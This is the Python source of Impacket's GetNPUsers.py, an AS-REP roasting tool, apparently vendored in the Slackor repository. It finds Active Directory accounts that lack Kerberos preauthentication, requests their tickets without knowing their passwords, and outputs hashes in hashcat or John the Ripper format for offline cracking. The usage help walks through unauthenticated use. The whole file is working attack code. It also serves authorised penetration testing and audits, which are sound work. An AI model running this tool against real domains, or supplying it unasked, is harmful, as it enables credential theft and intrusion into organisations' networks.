github.com/n00py/Slackor@v0.0.0-20200610224921-d007fcea1740/impacket/examples/GetNPUsers.py (about) 1 #!/usr/bin/env python 2 # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 3 # 4 # This software is provided under under a slightly modified version 5 # of the Apache Software License. See the accompanying LICENSE file 6 # for more information. 7 # 8 # Author: 9 # Alberto Solino (@agsolino) 10 # 11 # Description: 12 # This script will attempt to list and get TGTs for those users that have the property 13 # 'Do not require Kerberos preauthentication' set (UF_DONT_REQUIRE_PREAUTH). 14 # For those users with such configuration, a John The Ripper output will be generated so 15 # you can send it for cracking. 16 # 17 # Original credit for this technique goes to @harmj0y: 18 # https://www.harmj0y.net/blog/activedirectory/roasting-as-reps/ 19 # Related work by Geoff Janjua: 20 # https://www.exumbraops.com/layerone2016/party 21 # 22 # For usage instructions run the script with no parameters 23 # 24 # ToDo: 25 # 26 from __future__ import division 27 from __future__ import print_function 28 import argparse 29 import datetime 30 import logging 31 import random 32 import sys 33 from binascii import hexlify 34 35 from pyasn1.codec.der import decoder, encoder 36 from pyasn1.type.univ import noValue 37 38 from impacket import version 39 from impacket.dcerpc.v5.samr import UF_ACCOUNTDISABLE, UF_DONT_REQUIRE_PREAUTH 40 from impacket.examples import logger 41 from impacket.krb5 import constants 42 from impacket.krb5.asn1 import AS_REQ, KERB_PA_PAC_REQUEST, KRB_ERROR, AS_REP, seq_set, seq_set_iter 43 from impacket.krb5.kerberosv5 import sendReceive, KerberosError 44 from impacket.krb5.types import KerberosTime, Principal 45 from impacket.ldap import ldap, ldapasn1 46 from impacket.smbconnection import SMBConnection 47 48 class GetUserNoPreAuth: 49 @staticmethod 50 def printTable(items, header): 51 colLen = [] 52 for i, col in enumerate(header): 53 rowMaxLen = max([len(row[i]) for row in items]) 54 colLen.append(max(rowMaxLen, len(col))) 55 56 outputFormat = ' '.join(['{%d:%ds} ' % (num, width) for num, width in enumerate(colLen)]) 57 58 # Print header 59 print(outputFormat.format(*header)) 60 print(' '.join(['-' * itemLen for itemLen in colLen])) 61 62 # And now the rows 63 for row in items: 64 print(outputFormat.format(*row)) 65 66 def __init__(self, username, password, domain, cmdLineOptions): 67 self.__username = username 68 self.__password = password 69 self.__domain = domain 70 self.__lmhash = '' 71 self.__nthash = '' 72 self.__no_pass = cmdLineOptions.no_pass 73 self.__outputFileName = cmdLineOptions.outputfile 74 self.__outputFormat = cmdLineOptions.format 75 self.__usersFile = cmdLineOptions.usersfile 76 self.__aesKey = cmdLineOptions.aesKey 77 self.__doKerberos = cmdLineOptions.k 78 self.__requestTGT = cmdLineOptions.request 79 self.__kdcHost = cmdLineOptions.dc_ip 80 if cmdLineOptions.hashes is not None: 81 self.__lmhash, self.__nthash = cmdLineOptions.hashes.split(':') 82 83 # Create the baseDN 84 domainParts = self.__domain.split('.') 85 self.baseDN = '' 86 for i in domainParts: 87 self.baseDN += 'dc=%s,' % i 88 # Remove last ',' 89 self.baseDN = self.baseDN[:-1] 90 91 def getMachineName(self): 92 if self.__kdcHost is not None: 93 s = SMBConnection(self.__kdcHost, self.__kdcHost) 94 else: 95 s = SMBConnection(self.__domain, self.__domain) 96 try: 97 s.login('', '') 98 except Exception: 99 if s.getServerName() == '': 100 raise Exception('Error while anonymous logging into %s') 101 else: 102 s.logoff() 103 return s.getServerName() 104 105 @staticmethod 106 def getUnixTime(t): 107 t -= 116444736000000000 108 t /= 10000000 109 return t 110 111 def getTGT(self, userName, requestPAC=True): 112 113 clientName = Principal(userName, type=constants.PrincipalNameType.NT_PRINCIPAL.value) 114 115 asReq = AS_REQ() 116 117 domain = self.__domain.upper() 118 serverName = Principal('krbtgt/%s' % domain, type=constants.PrincipalNameType.NT_PRINCIPAL.value) 119 120 pacRequest = KERB_PA_PAC_REQUEST() 121 pacRequest['include-pac'] = requestPAC 122 encodedPacRequest = encoder.encode(pacRequest) 123 124 asReq['pvno'] = 5 125 asReq['msg-type'] = int(constants.ApplicationTagNumbers.AS_REQ.value) 126 127 asReq['padata'] = noValue 128 asReq['padata'][0] = noValue 129 asReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_PAC_REQUEST.value) 130 asReq['padata'][0]['padata-value'] = encodedPacRequest 131 132 reqBody = seq_set(asReq, 'req-body') 133 134 opts = list() 135 opts.append(constants.KDCOptions.forwardable.value) 136 opts.append(constants.KDCOptions.renewable.value) 137 opts.append(constants.KDCOptions.proxiable.value) 138 reqBody['kdc-options'] = constants.encodeFlags(opts) 139 140 seq_set(reqBody, 'sname', serverName.components_to_asn1) 141 seq_set(reqBody, 'cname', clientName.components_to_asn1) 142 143 if domain == '': 144 raise Exception('Empty Domain not allowed in Kerberos') 145 146 reqBody['realm'] = domain 147 148 now = datetime.datetime.utcnow() + datetime.timedelta(days=1) 149 reqBody['till'] = KerberosTime.to_asn1(now) 150 reqBody['rtime'] = KerberosTime.to_asn1(now) 151 reqBody['nonce'] = random.getrandbits(31) 152 153 supportedCiphers = (int(constants.EncryptionTypes.rc4_hmac.value),) 154 155 seq_set_iter(reqBody, 'etype', supportedCiphers) 156 157 message = encoder.encode(asReq) 158 159 try: 160 r = sendReceive(message, domain, self.__kdcHost) 161 except KerberosError as e: 162 if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value: 163 # RC4 not available, OK, let's ask for newer types 164 supportedCiphers = (int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value), 165 int(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value),) 166 seq_set_iter(reqBody, 'etype', supportedCiphers) 167 message = encoder.encode(asReq) 168 r = sendReceive(message, domain, self.__kdcHost) 169 else: 170 raise e 171 172 # This should be the PREAUTH_FAILED packet or the actual TGT if the target principal has the 173 # 'Do not require Kerberos preauthentication' set 174 try: 175 asRep = decoder.decode(r, asn1Spec=KRB_ERROR())[0] 176 except: 177 # Most of the times we shouldn't be here, is this a TGT? 178 asRep = decoder.decode(r, asn1Spec=AS_REP())[0] 179 else: 180 # The user doesn't have UF_DONT_REQUIRE_PREAUTH set 181 raise Exception('User %s doesn\'t have UF_DONT_REQUIRE_PREAUTH set' % userName) 182 183 if self.__outputFormat == 'john': 184 # Let's output the TGT enc-part/cipher in John format, in case somebody wants to use it. 185 return '$krb5asrep$%s@%s:%s$%s' % (clientName, domain, 186 hexlify(asRep['enc-part']['cipher'].asOctets()[:16]).decode(), 187 hexlify(asRep['enc-part']['cipher'].asOctets()[16:]).decode()) 188 else: 189 # Let's output the TGT enc-part/cipher in Hashcat format, in case somebody wants to use it. 190 return '$krb5asrep$%d$%s@%s:%s$%s' % ( asRep['enc-part']['etype'], clientName, domain, 191 hexlify(asRep['enc-part']['cipher'].asOctets()[:16]).decode(), 192 hexlify(asRep['enc-part']['cipher'].asOctets()[16:]).decode()) 193 194 @staticmethod 195 def outputTGT(entry, fd=None): 196 if fd is None: 197 print(entry) 198 else: 199 fd.write(entry + '\n') 200 201 def run(self): 202 if self.__doKerberos: 203 target = self.getMachineName() 204 else: 205 if self.__kdcHost is not None: 206 target = self.__kdcHost 207 else: 208 target = self.__domain 209 210 if self.__usersFile: 211 self.request_users_file_TGTs() 212 return 213 214 215 # Are we asked not to supply a password? 216 if self.__no_pass is True: 217 # Yes, just ask the TGT and exit 218 logging.info('Getting TGT for %s' % self.__username) 219 entry = self.getTGT(self.__username) 220 self.outputTGT(entry, None) 221 return 222 223 # Connect to LDAP 224 try: 225 ldapConnection = ldap.LDAPConnection('ldap://%s' % target, self.baseDN, self.__kdcHost) 226 if self.__doKerberos is not True: 227 ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) 228 else: 229 ldapConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, 230 self.__aesKey, kdcHost=self.__kdcHost) 231 except ldap.LDAPSessionError as e: 232 if str(e).find('strongerAuthRequired') >= 0: 233 # We need to try SSL 234 ldapConnection = ldap.LDAPConnection('ldaps://%s' % target, self.baseDN, self.__kdcHost) 235 if self.__doKerberos is not True: 236 ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) 237 else: 238 ldapConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, 239 self.__aesKey, kdcHost=self.__kdcHost) 240 else: 241 # Cannot authenticate, we will try to get this users' TGT (hoping it has PreAuth disabled) 242 logging.info('Cannot authenticate %s, getting its TGT' % self.__username) 243 entry = self.getTGT(self.__username) 244 self.outputTGT(entry, None) 245 return 246 247 248 # Building the search filter 249 searchFilter = "(&(UserAccountControl:1.2.840.113556.1.4.803:=%d)" \ 250 "(!(UserAccountControl:1.2.840.113556.1.4.803:=%d))(!(objectCategory=computer)))" % \ 251 (UF_DONT_REQUIRE_PREAUTH, UF_ACCOUNTDISABLE) 252 253 try: 254 logging.debug('Search Filter=%s' % searchFilter) 255 resp = ldapConnection.search(searchFilter=searchFilter, 256 attributes=['sAMAccountName', 257 'pwdLastSet', 'MemberOf', 'userAccountControl', 'lastLogon'], 258 sizeLimit=999) 259 except ldap.LDAPSearchError as e: 260 if e.getErrorString().find('sizeLimitExceeded') >= 0: 261 logging.debug('sizeLimitExceeded exception caught, giving up and processing the data received') 262 # We reached the sizeLimit, process the answers we have already and that's it. Until we implement 263 # paged queries 264 resp = e.getAnswers() 265 pass 266 else: 267 raise 268 269 answers = [] 270 logging.debug('Total of records returned %d' % len(resp)) 271 272 for item in resp: 273 if isinstance(item, ldapasn1.SearchResultEntry) is not True: 274 continue 275 mustCommit = False 276 sAMAccountName = '' 277 memberOf = '' 278 pwdLastSet = '' 279 userAccountControl = 0 280 lastLogon = 'N/A' 281 try: 282 for attribute in item['attributes']: 283 if str(attribute['type']) == 'sAMAccountName': 284 sAMAccountName = str(attribute['vals'][0]) 285 mustCommit = True 286 elif str(attribute['type']) == 'userAccountControl': 287 userAccountControl = "0x%x" % int(attribute['vals'][0]) 288 elif str(attribute['type']) == 'memberOf': 289 memberOf = str(attribute['vals'][0]) 290 elif str(attribute['type']) == 'pwdLastSet': 291 if str(attribute['vals'][0]) == '0': 292 pwdLastSet = '<never>' 293 else: 294 pwdLastSet = str(datetime.datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0]))))) 295 elif str(attribute['type']) == 'lastLogon': 296 if str(attribute['vals'][0]) == '0': 297 lastLogon = '<never>' 298 else: 299 lastLogon = str(datetime.datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0]))))) 300 if mustCommit is True: 301 answers.append([sAMAccountName,memberOf, pwdLastSet, lastLogon, userAccountControl]) 302 except Exception as e: 303 logging.debug("Exception:", exc_info=True) 304 logging.error('Skipping item, cannot process due to error %s' % str(e)) 305 pass 306 307 if len(answers)>0: 308 self.printTable(answers, header=[ "Name", "MemberOf", "PasswordLastSet", "LastLogon", "UAC"]) 309 print('\n\n') 310 311 if self.__requestTGT is True: 312 usernames = [answer[0] for answer in answers] 313 self.request_multiple_TGTs(usernames) 314 315 else: 316 print("No entries found!") 317 318 def request_users_file_TGTs(self): 319 320 with open(self.__usersFile) as fi: 321 usernames = [line.strip() for line in fi] 322 323 self.request_multiple_TGTs(usernames) 324 325 def request_multiple_TGTs(self, usernames): 326 if self.__outputFileName is not None: 327 fd = open(self.__outputFileName, 'w+') 328 else: 329 fd = None 330 for username in usernames: 331 try: 332 entry = self.getTGT(username) 333 self.outputTGT(entry, fd) 334 except Exception as e: 335 logging.error('%s' % str(e)) 336 if fd is not None: 337 fd.close() 338 339 340 341 # Process command-line arguments. 342 if __name__ == '__main__': 343 # Init the example's logger theme 344 logger.init() 345 print(version.BANNER) 346 347 parser = argparse.ArgumentParser(add_help = True, description = "Queries target domain for users with " 348 "'Do not require Kerberos preauthentication' set and export their TGTs for cracking") 349 350 parser.add_argument('target', action='store', help='domain/username[:password]') 351 parser.add_argument('-request', action='store_true', default='False', help='Requests TGT for users and output them ' 352 'in JtR/hashcat format (default False)') 353 parser.add_argument('-outputfile', action='store', 354 help='Output filename to write ciphers in JtR/hashcat format') 355 356 parser.add_argument('-format', choices=['hashcat', 'john'], default='hashcat', 357 help='format to save the AS_REQ of users without pre-authentication. Default is hashcat') 358 359 parser.add_argument('-usersfile', help='File with user per line to test') 360 361 parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') 362 363 group = parser.add_argument_group('authentication') 364 365 group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') 366 group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') 367 group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' 368 '(KRB5CCNAME) based on target parameters. If valid credentials ' 369 'cannot be found, it will use the ones specified in the command ' 370 'line') 371 group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication ' 372 '(128 or 256 bits)') 373 group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If ' 374 'ommited it use the domain part (FQDN) ' 375 'specified in the target parameter') 376 377 if len(sys.argv)==1: 378 parser.print_help() 379 print("\nThere are a few modes for using this script") 380 print("\n1. Get a TGT for a user:") 381 print("\n\tGetNPUsers.py contoso.com/john.doe -no-pass") 382 print("\nFor this operation you don\'t need john.doe\'s password. It is important tho, to specify -no-pass in the script, " 383 "\notherwise a badpwdcount entry will be added to the user") 384 print("\n2. Get a list of users with UF_DONT_REQUIRE_PREAUTH set") 385 print("\n\tGetNPUsers.py contoso.com/emily:password or GetNPUsers.py contoso.com/emily") 386 print("\nThis will list all the users in the contoso.com domain that have UF_DONT_REQUIRE_PREAUTH set. \nHowever " 387 "it will require you to have emily\'s password. (If you don\'t specify it, it will be asked by the script)") 388 print("\n3. Request TGTs for all users") 389 print("\n\tGetNPUsers.py contoso.com/emily:password -request or GetNPUsers.py contoso.com/emily") 390 print("\n4. Request TGTs for users in a file") 391 print("\n\tGetNPUsers.py contoso.com/ -no-pass -usersfile users.txt") 392 print("\nFor this operation you don\'t need credentials.") 393 sys.exit(1) 394 395 options = parser.parse_args() 396 397 if options.debug is True: 398 logging.getLogger().setLevel(logging.DEBUG) 399 else: 400 logging.getLogger().setLevel(logging.INFO) 401 402 import re 403 # This is because I'm lazy with regex 404 # ToDo: We need to change the regex to fullfil domain/username[:password] 405 targetParam = options.target+'@' 406 domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(targetParam).groups('') 407 408 #In case the password contains '@' 409 if '@' in address: 410 password = password + '@' + address.rpartition('@')[0] 411 address = address.rpartition('@')[2] 412 413 if domain is '': 414 logging.critical('Domain should be specified!') 415 sys.exit(1) 416 417 if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: 418 from getpass import getpass 419 password = getpass("Password:") 420 421 if options.aesKey is not None: 422 options.k = True 423 424 if options.outputfile is not None: 425 options.request = True 426 427 try: 428 executer = GetUserNoPreAuth(username, password, domain, options) 429 executer.run() 430 except Exception as e: 431 logging.debug("Exception:", exc_info=True) 432 logging.error(str(e))